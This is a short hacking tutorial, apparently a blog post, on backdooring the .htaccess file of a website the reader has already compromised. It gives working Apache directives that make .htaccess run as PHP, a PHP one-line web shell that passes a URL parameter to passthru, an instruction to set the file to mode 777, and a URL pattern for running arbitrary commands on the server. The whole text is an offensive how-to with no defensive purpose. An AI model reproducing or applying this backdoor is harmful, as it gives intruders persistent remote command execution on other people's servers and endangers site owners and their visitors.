How to backdoor .htaccess file of a website .
Lets assume that you have already Hacked the Website and have uploaded the shell .
Now ,
1. Add the code below to the .htaccess file and change permission to 777 (chmod 777)
Code :
<Files ~ "^\.ht">
Order allow,deny
Allow from all
</Files>
AddType application/x-httpd-php .htaccess
# <?php passthru($_GET['cmd']); ?>
2. Now go to :
site.com/.htaccess?cmd=ls
after = you can run a command of your choice

0 Comments